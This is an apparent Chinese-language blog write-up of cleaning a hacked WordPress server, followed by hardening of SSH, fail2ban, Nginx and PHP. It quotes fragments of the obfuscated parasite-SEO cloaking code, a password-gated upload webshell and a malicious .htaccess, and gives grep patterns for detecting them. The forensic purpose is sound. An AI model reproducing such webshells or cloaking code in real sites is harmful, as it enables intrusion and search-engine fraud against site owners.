≡articles //snippets ./categories $uses ~about /search

WordPress 被黑挂日文寄生虫:宝塔服务器应急处理完整记录

2026 年 10 月 30 日
环境:CentOS 7.6、宝塔 8.0.2、WordPress 7.1.4、PHP 8.3.36
文中域名、IP、账号、路径和端口均做了替换,不影响技术细节。恶意域名做了去活化([.]),扫描命令里的保持原样,方便直接复制。

先说结果:

  • 报错表面上是 Wordfence 的 WAF 文件找不到,查下去是 WordPress 被黑:日文关键词寄生虫加上十几个 Webshell,WordPress 核心文件全被改了名。
  • 攻击者拿到过后台管理员权限,最早的后门账号是 2026 年 1 月注册的。
  • 没有逐个删文件,整站回滚到 3 月 3 日的备份。当晚复查发现这份备份本身也带着 4 个后门,又清了一轮。
  • 顺带把 PHP 8.0 升到 8.3.36,改了 SSH、fail2ban 和 Nginx 的上传目录规则,首页加载从 1.0 秒降到 0.23 秒。

起因

客户打电话来说网站挂了。发过来的截图是一屏红色的 PHP 报错,最上面两行是:

Warning: Unknown: Failed to open stream: No such file or directory in Unknown on line 0
Fatal error: Failed opening required 'www/wwwroot/example.com/wordfence-waf.php'
(include_path='.:') in Unknown on line 0

「in Unknown on line 0」这个提示很特别。它说明错误不是业务代码抛出来的,而是 PHP 在启动阶段就挂了,位置是 auto_prepend_file 指定的那个文件。

再看路径:报错里的 www/wwwroot/ 前面没有斜杠,看上去像个相对路径。

到这里,第一反应是配置写错了——Wordfence 安装 WAF 时会往 .user.ini 里写一行绝对路径,偶尔会因为迁移或者手工编辑丢掉前面的 /。这种事我处理过,改一行就好。

客户那边不碰技术,所以是我进宝塔面板的终端里跑的:

cd /www/wwwroot/example.com
ls -l wordfence-waf.php
# ls: cannot access 'wordfence-waf.php': No such file or directory

cat .user.ini
# open_basedir=/www/wwwroot/example.com/:/tmp/
# ; Wordfence WAF
# auto_prepend_file = '/www/wwwroot/example.com/wordfence-waf.php'
# ; END Wordfence WAF

配置里的路径是对的,文件是真的没了。

这两者对不上——.user.ini 里是完整的绝对路径,报错里却少了开头的斜杠。这个不一致我当时没深究,注意力很快就转到别处了。

到这一步,常规的修法有两种:重新装一遍 Wordfence 让它重建文件,或者先删掉那行让网站先能打开。两种都很快,五分钟能收工。

我在这个报错上来回猜了二十来分钟,那一行一直没动。最后决定先把根目录整个看一遍。

目录里不对劲

ls -la 的输出是这样的(节选):

drwxr-xr-x 2 www www 4096 Oct 21 15:36 boss2026yt
drwxr-xr-x 2 www www 4096 Oct 21 15:36 br2026yt
-r--r--r-- 1 www www    8 Jan  1  2035 byz.txt752219
drwxr-xr-x 3 www www 4096 Oct 21 15:36 conf754d34
-r--r--r-- 1 www www 2077 Oct  1  2024 defaults.php
-r--r--r-- 1 www www 1500 Oct 23  2024 goods.php
drwxr-xr-x 3 www www 4096 Oct 21 15:36 imagify-backupfb2112
-r--r--r-- 1 www www 12697 Apr 26  2024 index.php
-rw-r--r-- 1 www www 2791 Oct  6 15:48 log_detail.jsoneb6171
-r--r--r-- 1 www www 1980 Jun 24  2024 networks.php
-r--r--r-- 1 www www 7407 Oct  7 01:47 readme.html3fa2ff
-r--r--r-- 1 www www  342 Feb 23  2024 robots.txt
-r--r--r-- 1 www www  243 Oct 19 15:53 robots.txt74b931
-r--r--r-- 1 www www 1807 Oct 10 03:59 sd.phpaca3fa
-r--r--r-- 1 www www   8 Jan  1  2035 sha.txt7a36d4
-rw-r--r-- 1 www www 225561 Oct 19 09:36 tiny.php0ddf2a

站点根目录里的异常文件

图 1:从站里提取出来的样本文件,byz.txt 的日期被改到了 2035 年

三个东西跳出来了。

第一,那些六位随机后缀。 byz.txt752219、readme.html3fa2ff、robots.txt74b931——正常文件的命名不会这样。readme.html 和 robots.txt 本来是 WordPress 自带的,又被复制了一份加上随机后缀,这是典型的「留备用入口」手法。

第二,2035 年。 byz.txt 和 sha.txt 的文件时间被改到了九年以后。这两个文件都只有 8 个字节,是后门程序用来验证「这个目录我能写」的标记文件,时间戳是故意改的。

第三,index.php 有 12697 字节。 WordPress 根目录标准的 index.php 是 405 字节,核心就两行:define( 'WP_USE_THEMES', true ); 和 require __DIR__ . '/wp-blog-header.php';。12 KB 说明这个文件被整个替换掉了。

另外还有 defaults.php、goods.php、networks.php 这三个,不在 WordPress 的标准目录结构里。它们的日期是 2024 年,但这个日期别当真——上面那两个 2035 年的文件已经说明这批东西会改时间戳。

图 1 里还能看到秒:.htaccess 是 2025/03/27,index.php 是 2024/04/26,wp-log1n.php 是 2024/02/08,日期各不相同,时分秒却都是 15:36:37。那几个可疑目录的时间正好是 10 月 21 日 15:36。这些「老文件」更像是 10 月 21 日同一批放进来、再统一改的日期。

到这儿不用再分析了,站点被入侵了,而且不是这两天才发生的。

那个 index.php 在干什么

我把那个 12 KB 的 index.php 下载下来打开,第一行就是:

<?php define('A', 'jan78.tpp}~f55=3htr/kaunet::shopbrand/^^!!.shtm|?shop/items/[4:0~1]^^!!/::'); goto UO6xV;

goto。整个文件被切成了几百个标签跳转,中间夹着十六进制的字符串。

被替换的 index.php

图 2:被整个替换掉的 index.php,几百个 goto 跳转夹着十六进制串

这跟早年的 eval(base64_decode()) 已经完全不是一回事了。那种写法在任何一个 WAF 面前都很容易被拦下。用 goto 打散之后,静态扫描基本失效,解码逻辑藏在几百次跳转之间,人眼读起来极其痛苦。

慢慢拆,能看到这么几个函数:

function k_uIY($u4dOz = '') {
    return preg_match("\x2f\50\x67\x6f\157...", $u4dOz);
}

那串 \x2f\50\x67... 解出来是:

/(google.co.jp|yahoo.co.jp|bing|baidu|google.com)/si

还有一个 BUai1(),做的事是把字符串里每个字符的 ASCII 码减 5:

foreach ($A5e1j as $A_MDP => $n3awN) {
    $A5e1j[$A_MDP] = chr(ord($n3awN) - 5);
}

靠这个把一个看起来毫无意义的常量还原成远程地址,再去拉内容。

三个特征拼起来,行为就清楚了:检查访问者的 User-Agent,如果是 Google、Bing、Baidu、Yahoo 的爬虫,返回一套伪造的页面;如果是真人,返回另一套。

这就是黑帽圈里说的「泛目录寄生虫」。

具体做的是哪一国的生意,从细节能看出来:正则里专门写了 google.co.jp 和 yahoo.co.jp;文件开头那个常量里写着 kaunet、shopbrand,都是日本电商;伪装页的扩展名用 .shtm,也是日本站点常见的写法。合起来就是 Google 官方文档里那个名字——Japanese keyword hack。往你站上灌大量日文商品页,蹭日本人的购物搜索词。

对访客来说,这个站看起来完全正常,甚至你自己拿手机打开也看不出任何异常。但对搜索引擎来说,这个域名底下突然多出几千个假商品页,全都指向黑产。

这类东西的危害其实比挂马更大。挂马你能看见,杀毒软件会报;寄生虫是隐性的,等 Google 发现作弊把域名降权,损失是以月计的,而且很难申诉。

另一个文件:wp-log1n.php

同一个目录里还有个 wp-log1n.php。注意是数字 1,不是字母 l——这是专门为了在地址栏里一眼看不出差别的写法。

<?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?>
<?php
if (function_exists('session_start')) {
    session_start();
    if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; }
    if (!$_SESSION['secretyt']) {
        if (isset($_POST['pwdyt']) &&
            hash('sha256', $_POST['pwdyt']) == '7b5f411c...') {
            $_SESSION['secretyt'] = true;
        } else { die('<form>...一个密码输入框...</form>'); }
    }
}
?>
<?php
echo('kill_the_net');
$files = @$_FILES["files"];

几个细节:

  • $_REQUEST["0kb"] 是探活参数,访问 ?0kb=1 会返回 >0kb<。扫描器靠这个批量确认哪些站点的后门还活着。
  • 密码经过 sha256 之后硬编码比对,攻击者自己记得住,别人拿到源码也进不去。
  • kill_the_net 是一个特征字符串,后来成了我全站扫描的主关键词。
  • $_FILES["files"] —— 能上传任意文件。

这是一个完整的大马,能上传任意文件,传个 PHP 上去就等于能执行任意代码。有这个文件,等于拿到了服务器上 www 用户的全部权限。

真正麻烦的地方

前面这些还算好办,删掉就行。麻烦出在后面。

继续翻根目录,我发现 wp-config.php、wp-includes、wp-settings.php 这些全都不见了,取而代之的是:

wp-config.php386783
wp-includes6788d9
wp-contenta9f3dc
wp-settings.php60010d
wp-load.phpdfccef
wp-login.php4082ac

整个 WordPress 安装的文件名都被加上了随机后缀。

这解释了两件事。一是 WordPress 根本加载不起来——wp-config.php 不存在,PHP 连数据库配置都读不到。二是最开始那个 wordfence-waf.php 报错也有了答案:真实的文件叫 wordfence-waf.phpf48c79。

我猜这个操作有两个目的。一是让站长在慌乱中接受「重装」这种草率方案,二是让 Wordfence 找不到自己的 WAF 文件,防护直接下线。同时攻击者的入口文件(sd.phpaca3fa、tiny.php0ddf2a)文件名本来就不在特征库里,改名对它们毫无影响。

紧接着我又看了 .htaccess,内容被换成了这样:

<FilesMatch '.(py|exe|phtml|php|PHP|...|suspected)$'>
    Order allow,deny
    Deny from all
</FilesMatch>

<FilesMatch '^(goods.php|buy.php|special.php|click.php|...|index.php|wp-login.php|wp-log1n.php|defaults.php|networks.php|...)$'>
    Order allow,deny
    Allow from all
</FilesMatch>

被改写的 .htaccess

图 3:被改写的 .htaccess,白名单里混着攻击者自己的文件

逻辑是「先拒绝所有 PHP,再只放行白名单」。白名单里一多半是正常的 WordPress 入口,混着几个攻击者的文件:goods.php、mah.php、wp-configs.php、defaults.php、networks.php。

goods、buy、shop、brand、product 这一串名字放在一起,用途就很明显了。

有个细节值得注意:白名单里赫然写着 wp-log1n.php。说明攻击者预料到了「有人会发现并改名或删除这个文件」,提前把备用路径也加进了放行列表。

还值得一提的是,这套规则在 Nginx 上根本不生效——.htaccess 只有 Apache 才读,而这台机器跑的是 Nginx。攻击者留下它,更像是「万一被搬到 Apache 环境里也能用」的通用件。所以看到这类文件,不能靠它有没有生效来判断危害大小。

后门不止一处

到这一步,最自然的想法是把找到的恶意文件删掉。我先试着扫了一遍特征串:

grep -rIl --include="*.php" -E "kill_the_net|pwdyt|secretyt" .

命中了 11 个文件。除了根目录那几个显眼的,还有这些:

wp-content/plugins/wordpress-seo/src/alerts/application/default-seo-data/audits/index.php
wp-content/plugins/wpforms-lite/src/Forms/Fields/DateTime/post-catalog/index.php
wp-content/plugins/updraftplus/vendor/eher/oauth/src/post-catalog/index.php
wp-content/plugins/ultimate-addons-for-gutenberg/lib/one-onboarding/includes/helpers/list-grid/index.php
wp-content/themes/astra/inc/customizer/extend-custom-controls/build/post-catalog/index.php
wp-content/plugins/wp-mail-smtp/assets/images/reports/upgrades/index.php

每一个都藏在正常插件的目录结构里。post-catalog、list-grid、audits、default-seo-data——这些名字放在对应插件下面毫不违和,人工翻目录根本注意不到。

看到这个结果,我就放弃「逐个删除」这个方案了。

原因很简单:攻击者拿到过管理员权限,理论上可以在任何位置、以任何深度埋任意数量的文件。我找到 11 个,不代表只有 11 个。而且数据库的 wp_options 里还能塞自动加载的代码,那部分根本不在文件系统里。

从数据库里找时间线

文件的名字和时间都能随手改,数据库里的账号注册时间攻击者一般不会去动,所以时间线先从库里找。

SELECT u.ID, u.user_login, u.user_email, u.user_registered,
       (SELECT meta_value FROM wp_usermeta
        WHERE user_id = u.ID AND meta_key = 'wp_capabilities') AS role
FROM wp_users u ORDER BY u.ID;

结果只有两个账号:

ID 用户名 注册时间 角色
1 (客户账号) 2023-09-14 administrator
2 xdx 2026-10-06 07:49:35 administrator

第二个账号的注册时间,跟恶意文件出现的顺序对得严丝合缝:

10-06 07:49   创建管理员账号
10-06 15:48   恶意日志文件出现
10-07 01:47   伪装文件 readme.html3fa2ff
10-10 03:59   Webshell sd.phpaca3fa

这是一个很关键的判断点:攻击者拿到的是 WordPress 后台管理员权限,不是服务器 root。

两种情况处置方式完全不同。如果是 root,服务器上任何东西都不能信,只能重装系统;如果是后台管理员,问题范围就限定在站点目录和数据库里。

CentOS 7 的内核和系统包已经停更,拿到 www 以后再提权并不难,所以这个判断不能只靠推论。我查了这几项:

  • 新增用户:没有。普通用户只有 www、mysql、memcached、redis,都是面板装的,全部 nologin。
  • /etc/passwd:10 月 30 日被改过。和系统自动留的备份 /etc/passwd- 比对,唯一的差别是多了一个 tss,这是装 trousers 包时建的 TPM 守护进程账号。
  • root 的 crontab:只有面板自己的 4 条,加上我这次加的一条 php-fpm 守护。
  • root 的 authorized_keys:只有一把,是我这次处理时临时放进去的。
  • 系统目录:按修改时间筛了 /etc、/usr/bin、/usr/sbin、/bin、/sbin,只有网络配置、SSH 主机密钥、yum 源这类装机时生成的文件。

rpm -Va 没跑,太慢,用按时间筛选代替。对这次的判断够用,但两者不等价。

后来在用备份恢复的时候,又发现了一个更早的账号:

ID 用户名 注册时间
2 1rcv3jb 2026-01-20 08:15:14

随机字符串当用户名,@mail.com 的邮箱,发帖 0、评论 0,但 wp_usermeta 里留着 595 字节的 session_tokens——说明登录过。

也就是说,入侵不是 10 月才开始的。1 月就已经拿到管理员权限了,10 月那次只是扩大战果。

也就是说,3 月那份备份的库里已经躺着后门账号。文件那边第一遍扫起来是干净的,原因后面会讲。

至于入口,没查到。wp-content 里没有留下上传痕迹,错误日志攒了 11 GB,全被同一条 WAF 内存报错刷满,有用的记录早被冲掉了;wp_options 的 autoload 项里也没有被塞代码。能确定的是攻击者拿到了后台管理员权限,怎么拿到的没有证据。这种情况只能如实写「入口未知」,编一个「大概是某插件漏洞」对后续判断没有帮助。

决定整站回滚

摆在面前两条路:一个个删,或者整站回滚到备份。

选后者,理由有三条:

  1. 无法证明「清理干净」。管理员权限意味着可写任意位置,包括数据库里的自动加载项。
  2. 核心文件已经被批量改名,就算删掉后门,站点也是残缺的。
  3. 有一份可用、也验证过的备份。

第三条是决定性的。如果连备份都没有,那就只能重装站点、从旧库里挑内容导回来,工作量和风险都大得多。

备份也要验

这一步不能省。备份文件本身可能带毒——如果有人在感染之后才做的备份,那这份「干净备份」就是新的传染源。

先看压缩包的清单:

unzip -l backup.zip > /tmp/list.txt

再按特征扫文件名:

pats = ["wp-log1n", "byz.txt", "sha.txt", "wp-chain", "post-catalog",
        "boss2026", "br2026", "conf754", "imagify-backup", "tiny.php"]
# 全部 0 命中

光看名字不够,后门完全可以藏在一个叫 index.php 的文件里。所以又解压出来逐个查内容:

grep -rIl --include="*.php" -E "kill_the_net|pwdyt|secretyt" .
# 无输出

grep -rIl --include="*.php" -E "eval\s*\(\s*(base64_decode|gzinflate|str_rot13)" .
# 无输出

ls -l index.php
# 405

三项都过了,才敢拿来用。

后来才知道,这一步只过了一半。先往下看,最后再说。

恢复

先留证据

动手之前先打包。这一步我是坚持要做的,因为一旦删掉,就再也说不清入侵是怎么发生的、影响了什么范围。

cd /www/wwwroot
tar -czf /root/site-infected-20261030.tar.gz example.com

cd example.com
# wp-config.php 已经被改名成 wp-config.php386783,读原名会读不到
PW=$(awk -F"'" '/DB_PASSWORD/{print $4}' wp-config.php386783)
mysqldump -uuser -p"$PW" --single-transaction --quick dbname \
  | gzip > /root/db-infected-20261030.sql.gz

打包 3.9 GB 花了大概十分钟,压缩后 2.3 GB。

导出的时候,mysqldump 会往屏幕上打这么一条:

mysqldump: Error: 'Access denied; ... PROCESS privilege ...' when trying to dump tablespaces

用站点自己的库账号导出,这条基本都会出现。它可以忽略:拿不到的只是表空间信息,数据照样导出来。这次导出来 25 MB,gzip -t 通过,里面 85 条 CREATE TABLE 一张不少,后面做表结构对比用的也是这一份。真要消掉这条报错,加 --no-tablespaces 就行,这次没加,也没必要。

看到 Error 别慌,但也别只看有没有报错。导完用 gzip -t 和数一下 CREATE TABLE 的条数,比看屏幕输出可靠。

换站

cd /www/wwwroot
mv example.com example.com.infected-20261030
mkdir example.com
unzip -q /www/backup/site/xxxx.zip -d example.com

chown -R www:www example.com
find example.com -type d -exec chmod 755 {} \;
find example.com -type f -exec chmod 644 {} \;

权限用 644 / 755,不要 777。网上很多教程遇到权限问题就让人 777,等于把整个目录交给任何进程写。

数据库

不用 root 密码,直接用站点自己的库账号操作自己的库:

mysql -uuser -p"$PW" -N -e "
  SELECT CONCAT('DROP TABLE IF EXISTS \`', table_name, '\`;')
  FROM information_schema.tables WHERE table_schema='dbname'" \
  | mysql -uuser -p"$PW" dbname

zcat /www/backup/database/xxxx.sql.gz | mysql -uuser -p"$PW" dbname

恢复完 79 张表。

一个没想到的问题

站点起来了,但后台报了:

WordPress database error Table 'dbname.wp_trp_slug_originals' doesn't exist

wp_trp_slug_originals 和 wp_trp_slug_translations 是 TranslatePress 的表。新旧两个库里都没有这两张表,说明它们从来没建过,跟回滚无关。站点恢复以后,插件跑到要用这张表的那一步,才报出来。

插件重新激活不一定能把表建回来。最后是照着插件源码里的 CREATE TABLE 语句手工补的:

CREATE TABLE IF NOT EXISTS wp_trp_slug_originals (
  id INT NOT NULL AUTO_INCREMENT,
  original VARCHAR(200) NOT NULL,
  type VARCHAR(50),
  PRIMARY KEY (id),
  INDEX idx_original (original),
  UNIQUE (original(191))
) COLLATE utf8mb4_unicode_520_ci;

CREATE TABLE IF NOT EXISTS wp_trp_slug_translations (
  id INT NOT NULL AUTO_INCREMENT,
  original_id INT NOT NULL,
  translated VARCHAR(255) NOT NULL,
  language VARCHAR(20),
  status INT,
  PRIMARY KEY (id),
  UNIQUE INDEX idx_original_id_language (original_id, language),
  INDEX idx_language (language),
  INDEX idx_translated (translated),
  FOREIGN KEY (original_id) REFERENCES wp_trp_slug_originals(id) ON DELETE CASCADE
) COLLATE utf8mb4_unicode_520_ci;

回滚真正少掉的是另外六张表。3 月的库有 79 张表,感染时的库有 85 张,多出来的六张属于 3 月之后才装的插件:Imagify 两张(wp_imagify_files、wp_imagify_folders),Redirect Redirection 四张(wp_irrp_*)。这两个插件回滚后都没有装回来:Imagify 没装,Redirect Redirection 停用着,所以这六张表现在的库里也没有,不影响运行。哪天重新启用,要确认表建出来了。

现在的库是 82 张表:3 月的 79 张,加上手工补的两张 wp_trp_slug_*,再加一张后来插件自己建的。

这个细节要记一下:回滚到旧备份后,一定要检查「备份之后新装的插件有没有自己的表」,否则会留一堆隐性报错,而且不会在表面上暴露。

站恢复之后还要做的事

文件换了、库导了,不代表完事。攻击者用过的东西还在:

# 删除后门管理员(先看清楚哪些不该在)
sudo -u www wp user list --role=administrator
sudo -u www wp user delete <攻击者账号> --reassign=<客户账号>

# 重置密码 + 换 SALT,让所有现存登录态失效
sudo -u www wp user update <客户账号> --user_pass='<新密码>'
sudo -u www wp config shuffle-salts

shuffle-salts 这一步容易被忽略。光改密码不够——攻击者如果还攥着有效的登录 Cookie,密码改了照样能进来。换 SALT 会让之前签发的所有 Cookie 立刻作废。

另外查一遍 wp_options 的自动加载项,这是数据库里最容易藏代码的地方:

sudo -u www wp db query \
  "SELECT option_name FROM wp_options WHERE autoload='yes' AND option_value LIKE '%eval%';"
# 无输出

这台机器上还顺手停用了三个用不着的插件:filester(网页版文件管理器,谁进了后台都能直接改服务器上的文件)、astra-pro-sites(只在导模板时用)、以及一个零订单零会员的会员插件。

PHP 8.0 已经没人维护了

站点恢复正常了,但服务器还在跑 PHP 8.0。

2026 年 10 月公开的 PHP2Shell(CVE-2026-109618、CVE-2026-109619),两个编号的 CVSS 都是 9.2,不用登录就可能在服务器上执行代码。受影响的路径包括 PHP-FPM、Apache mod_php、php-cgi、FrankenPHP、LiteSpeed。21 日公开当天,网上就出现了好几份 PoC;AWS 的蜜罐在公开前四天(10 月 17 日)就已经收到攻击请求。目前还没有公开确认的成功入侵案例。

官方给 8.2 / 8.3 / 8.4 / 8.5 发了新版本(8.2.35、8.3.36、8.4.27、8.5.12)。7.4、8.0、8.1 没有官方新版本,只给了源码补丁;宝塔自己打包了 7.4.34、8.0.27、8.1.35。

也就是说,这台机器上的 8.0 其实可以靠宝塔的 8.0.27 补上。但我还是直接升到了 8.3.36——8.0 的生命周期 2023 年 11 月就结束了,打着补丁迟早也要迁,不如一次做完。顺带一提,8.2 也会在 2026 年 12 月 31 日停止支持。

漏洞细节、各入口的风险差异、临时缓解办法,之前单独写过一篇:宝塔面板修复 PHP2Shell:两台服务器升级 PHP 8.3.36 实录。

升级本身不难,宝塔里编译安装 8.3 就行。升完有两件事必须检查:

一是 .user.ini 的 open_basedir。 路径不对的话,站点会报 open_basedir restriction。这次升级完没有遇到,但花几秒确认一下不吃亏。

二是 display_errors 默认是开的。 宝塔编译出来的 php.ini 里 display_errors = On,这意味着任何 Warning 都会原样打印给访客,里面包含服务器的绝对路径。生产环境必须是 Off。

sed -i 's/^display_errors = On/display_errors = Off/' /www/server/php/83/etc/php.ini

三个配置问题,一个比一个隐蔽

站点能打开之后,我盯了一会儿日志,发现三个互相独立的问题。

内存耗尽

错误日志里有一堆这个:

PHP Fatal error: Allowed memory size of 134217728 bytes exhausted
(tried to allocate 2097152 bytes) in .../wordfence/.../waf.php

134217728 = 128 MB。崩在 Wordfence 的 WAF 里。

Wordfence 的防火墙本身比较吃内存,128 M 跑不动。调到 256 M 之后这类错误归零。

memory_limit 是单个进程能用的上限,不是实际占用。调大它只是让单个 worker 能占得更多,这台机器内存本来就紧,所以停在 256 M,没再往上加。

PHP-FPM 进程数

这个更隐蔽。php-fpm.conf 里是宝塔的默认值:

pm.max_children = 50
pm.start_servers = 5
pm.min_spare_servers = 5
pm.max_spare_servers = 20

50 个进程。实测每个 worker 大约占 170–200 MB,按 180 MB 算,50 个就是 9 GB——而这台机器只有 3.9 GB。

当时实际的状态:

11 个 worker × 180 MB ≈ 1981 MB
系统内存:已用 2.9 G / 3.9 G,可用 318 M

这个状态随时会因为内存耗尽直接把站点打成 502。

改成:

pm.max_children = 8
pm.start_servers = 3
pm.min_spare_servers = 2
pm.max_spare_servers = 6

跑了一天之后再看:

6 个 worker:206 / 198 / 200 / 182 / 181 / 168 MB,合计 1135 MB

上限是 8 个,按每个 200 MB 算,满载约 1.6 GB,这台机器扛得住。

OPcache 装了没启用

这个最可惜。opcache.so 就躺在扩展目录里,php.ini 里没有任何一行引用它。

zend_extension=opcache.so
opcache.enable=1
opcache.enable_cli=0
opcache.memory_consumption=128
opcache.interned_strings_buffer=16
opcache.max_accelerated_files=10000
opcache.revalidate_freq=60

打开之后:

首页   1.00s → 0.23s
内页   0.95s → 0.20s

服务器本身的加固

站点处理完,回头看服务器,防护基本没有。

SSH

Port 22                     ← 默认端口,日志里每分钟都有爆破
PasswordAuthentication yes  ← 允许密码
PubkeyAuthentication no     ← 密钥登录居然是关的

日志里能看到各种来源:

Failed password for root from 203.0.113.24
Failed password for root from 198.51.100.144
Invalid user example from 192.0.2.218

最后那条有意思——攻击者试的用户名是站点的名字,说明对方知道这台机器上跑的是什么。

改成:

Port 22022
PasswordAuthentication no
PubkeyAuthentication yes
LoginGraceTime 20

关密码登录之前,先确认公钥已经能登进来,并且留一个已登录的会话别关。云厂商的安全组也要先放行新端口,这一步我当时漏了,后面「踩过的坑」里会讲。

改完出了个岔子。宝塔面板的「终端」功能是靠 SSH + root 密码连本机实现的,密码登录一关,它直接报:

不支持的身份验证类型: Bad authentication type;
allowed types: ['publickey', 'gssapi-keyex', 'gssapi-with-mic']

解决办法是只对本机回环地址放行密码登录:

Port 22022
ListenAddress 0.0.0.0:22022
ListenAddress 127.0.0.1:22

Match Address 127.0.0.1,::1
    PasswordAuthentication yes

两个必须注意的地方。Match 块要放在 sshd_config 的最末尾——它后面出现的所有配置都会被视为匹配条件的一部分,写错位置会连带把后面的设置也改掉。另外 CentOS 7 如果开着 SELinux,改端口之前要先放行新端口,否则 sshd 起不来:

semanage port -a -t ssh_port_t -p tcp 22022

验证方式:

sshd -T -C user=root,addr=127.0.0.1,host=localhost | grep passwordauthentication
# passwordauthentication yes

sshd -T -C user=root,addr=203.0.113.5,host=test | grep passwordauthentication
# passwordauthentication no

外网 22 端口没有监听,面板终端照常能用,外网的攻击面一点没增加。这个方案我觉得挺干净。

fail2ban

原来的配置基本等于没有:

bantime = 600     # 封 10 分钟
findtime = 300
maxretry = 5

封十分钟,攻击者喝口水就回来了。

重写之后:

[DEFAULT]
ignoreip = 127.0.0.1/8 ::1 66.249.64.0/19 66.102.0.0/20 40.77.167.0/24 157.55.39.0/24 207.46.13.0/24
bantime = 1d
findtime = 1h
maxretry = 5

[sshd]
enabled = true
# 改端口后必须同步,否则封的是旧端口
port = 22022
maxretry = 3
findtime = 1h
bantime = 1d

[recidive]
# 惯犯:一天内被封三次,直接封一年
enabled = true
bantime = 52w
findtime = 1d
maxretry = 3

fail2ban 的 jail 列表

图 4:fail2ban 跑起来的四个 jail

ignoreip 里那几个网段是 Googlebot 和 Bingbot。不排除的话,搜索引擎爬虫会被 CC 防护误封——这个坑很多人都踩过,而且不会有任何提示,只是某天发现收录没了。

顺带一提,port = 22022 这行很容易漏。漏了的话 fail2ban 还是往旧端口上封,看起来一切正常,实际上一点用没有。

还有个更常见的坑:每个 [jail] 段都要写 enabled = true。不写的话配置看着没问题,启动时这个 jail 根本不会被加载,fail2ban-client status 里也不会有它。

(截图里还有一个 ftpd jail,是面板自带的。FTP 服务后面停掉了,见「另外两个端口」,这个 jail 留着不影响。)

上传目录

后门最常落地的地方就是 wp-content/uploads/,因为那里默认可写。

宝塔的 vhost 里有一行 include enable-php-83.conf;,那本身就是一条 location ~ [^/]\.php(/|$) 的规则。Nginx 的正则 location 按出现顺序匹配,先命中的生效。所以这条 deny 必须写在 include 之前,写在后面等于没写:

# 必须放在 include enable-php-83.conf; 之前
location ~* ^/wp-content/(uploads|languages|cache)/.*\.php$ { deny all; }

include enable-php-83.conf;

我一开始只写了 uploads,后来才发现 languages/ 底下也能跑 PHP——那次的漏网文件里就有一个在 wp-content/languages/plugins/ 下面,详见后面「当晚又查了一遍」。凡是插件会往里写东西的目录,都值得一起堵上。

验证:

curl -sk -o /dev/null -w "%{http_code}" https://example.com/wp-content/uploads/test.php
# 403

隐藏后台

用 WPS Hide Login 把 /wp-login.php 换成自定义路径:

sudo -u www wp plugin activate wps-hide-login
sudo -u www wp option update whl_page 'custom-login-path'
sudo -u www wp option update whl_redirect_admin 404
sudo -u www wp rewrite flush

结果:

/wp-login.php → 404
/wp-admin/    → 重定向到 /404
自定义路径    → 正常

要说清楚的是,这只是让自动化扫描找不到入口。它本身算不上安全措施——知道路径的人照样能打开。

另外两个端口

顺手把监听端口过了一遍,发现两个没人管的东西。

一个是 MySQL,监听在 :::,也就是所有网卡:

ss -tlnp | grep 3306
# LISTEN  0  150  :::3306  :::*

云安全组和 firewalld 都挡着,外网其实连不上,但没必要开在那里。改 /etc/my.cnf 的 [mysqld] 段加一行,然后重启:

bind-address = 127.0.0.1

另一个是 pure-ftpd。服务跑着,监听 21 端口,firewalld 还开着 20/21 和 39000-40000 的被动端口段——可账号库里一个用户都没有。没有用户的 FTP 服务,除了占地儿就是暴露攻击面:

systemctl stop pure-ftpd
systemctl disable pure-ftpd
firewall-cmd --permanent --remove-port=20/tcp --remove-port=21/tcp \
             --remove-port=39000-40000/tcp
firewall-cmd --reload

改完再 ss -tlnp 看一遍,对外只剩 80、443、SSH 的 22022 和面板端口。

最后还有一条不在这次处置范围内的:CentOS 7 在 2024 年 6 月 30 日就停止支持了,这台机器还跑在上面。迁移系统不是客户现在能接受的改动量,只能另找时间做。

踩过的坑

把入侵误判成配置错误

最开始那个报错,看起来就是路径写错。如果当时手快一点,重建一个 wordfence-waf.php,网站立刻就能打开,客户会说谢谢,然后后门继续在里面躺着。

后来我给自己定了个规矩:遇到 in Unknown on line 0 这类启动期报错,先搞清楚文件为什么不存在,再考虑怎么修。

用错误的方向诊断 SSH

中途 SSH 一直连不上,我在这个上面浪费了一个多小时。

当时看到日志里全是爆破记录,第一反应是 MaxStartups 打满了——大量半开连接会把 sshd 的并发槽占满,表现就是「TCP 能连上,但拿不到 banner」。

于是我在宝塔终端里把 sshd 的配置改了一圈。

后来随手查了一下:

ss -tn state established '( sport = :22 )' | wc -l
# 2

两个连接,离上限十万八千里。

真正有效的判断是让服务器连自己:

ssh -p 22022 root@自己IP 'echo ok'
# Permission denied (publickey)   ← 说明 sshd 完全正常

sshd 正常,本地也正常,那问题只能在网络层。最后发现是云厂商的安全组只放行了 22 端口,而我一直在连 22022。

教训:sshd -T 看配置,ssh 自己 验服务,两个都正常就别在服务端找了,去看网络。

用 root 跑 WP-CLI

批量更新插件时我执行的是:

wp plugin update --all --allow-root

插件是更新成功了,但新文件的属主变成了 root:root,而 PHP 以 www 身份运行。结果就是插件写不了自己的缓存目录,后台报:

Could not create .../plugins/all-in-one-wp-migration/storage folder.
Please ensure the parent folder has read/write/execute permissions (0777).

修复一条命令:

chown -R www:www wp-content/plugins

更稳妥的写法是干脆不要用 root:

sudo -u www wp plugin update --all

改了数据库密码,忘了同步宝塔

我用命令行改了 MySQL 用户密码,wp-config.php 也同步了,网站一切正常。

问题是宝塔面板里存的还是旧密码。后果是每天的定时备份会静默失败——不报错、不弹窗,只是备份文件不会出现。

这个坑特别阴,因为它不会在当下暴露,等到你真需要恢复备份的那天才发现最近三个月全是空的。

修法是同步宝塔的 sqlite:

import sqlite3, re
pw = re.search(r"DB_PASSWORD'\s*,\s*'([^']+)'", open('wp-config.php').read()).group(1)
c = sqlite3.connect('/www/server/panel/data/default.db')
c.execute("UPDATE databases SET password=? WHERE name='example_com'", (pw,))
c.commit()

然后手动跑一次备份脚本确认文件真的生成了。只看「任务已创建」不算数。

宝塔里的定时备份任务

图 5:宝塔里的两条定时备份任务,「上次执行时间」和「保存数量」都对得上

缓存把错误页也缓存了

PHP 配置改完,客户说页面还是老样子。

原因是 WP Fastest Cache 把带 Warning 的 HTML 存成了静态页,nginx 直接把缓存吐出去,请求根本没走到 PHP。

rm -rf wp-content/cache/all wp-content/cache/page_enhanced

改完 PHP 层的问题,一定要清页面缓存再验证,否则你会怀疑自己改的不是同一个文件。

当晚又查了一遍

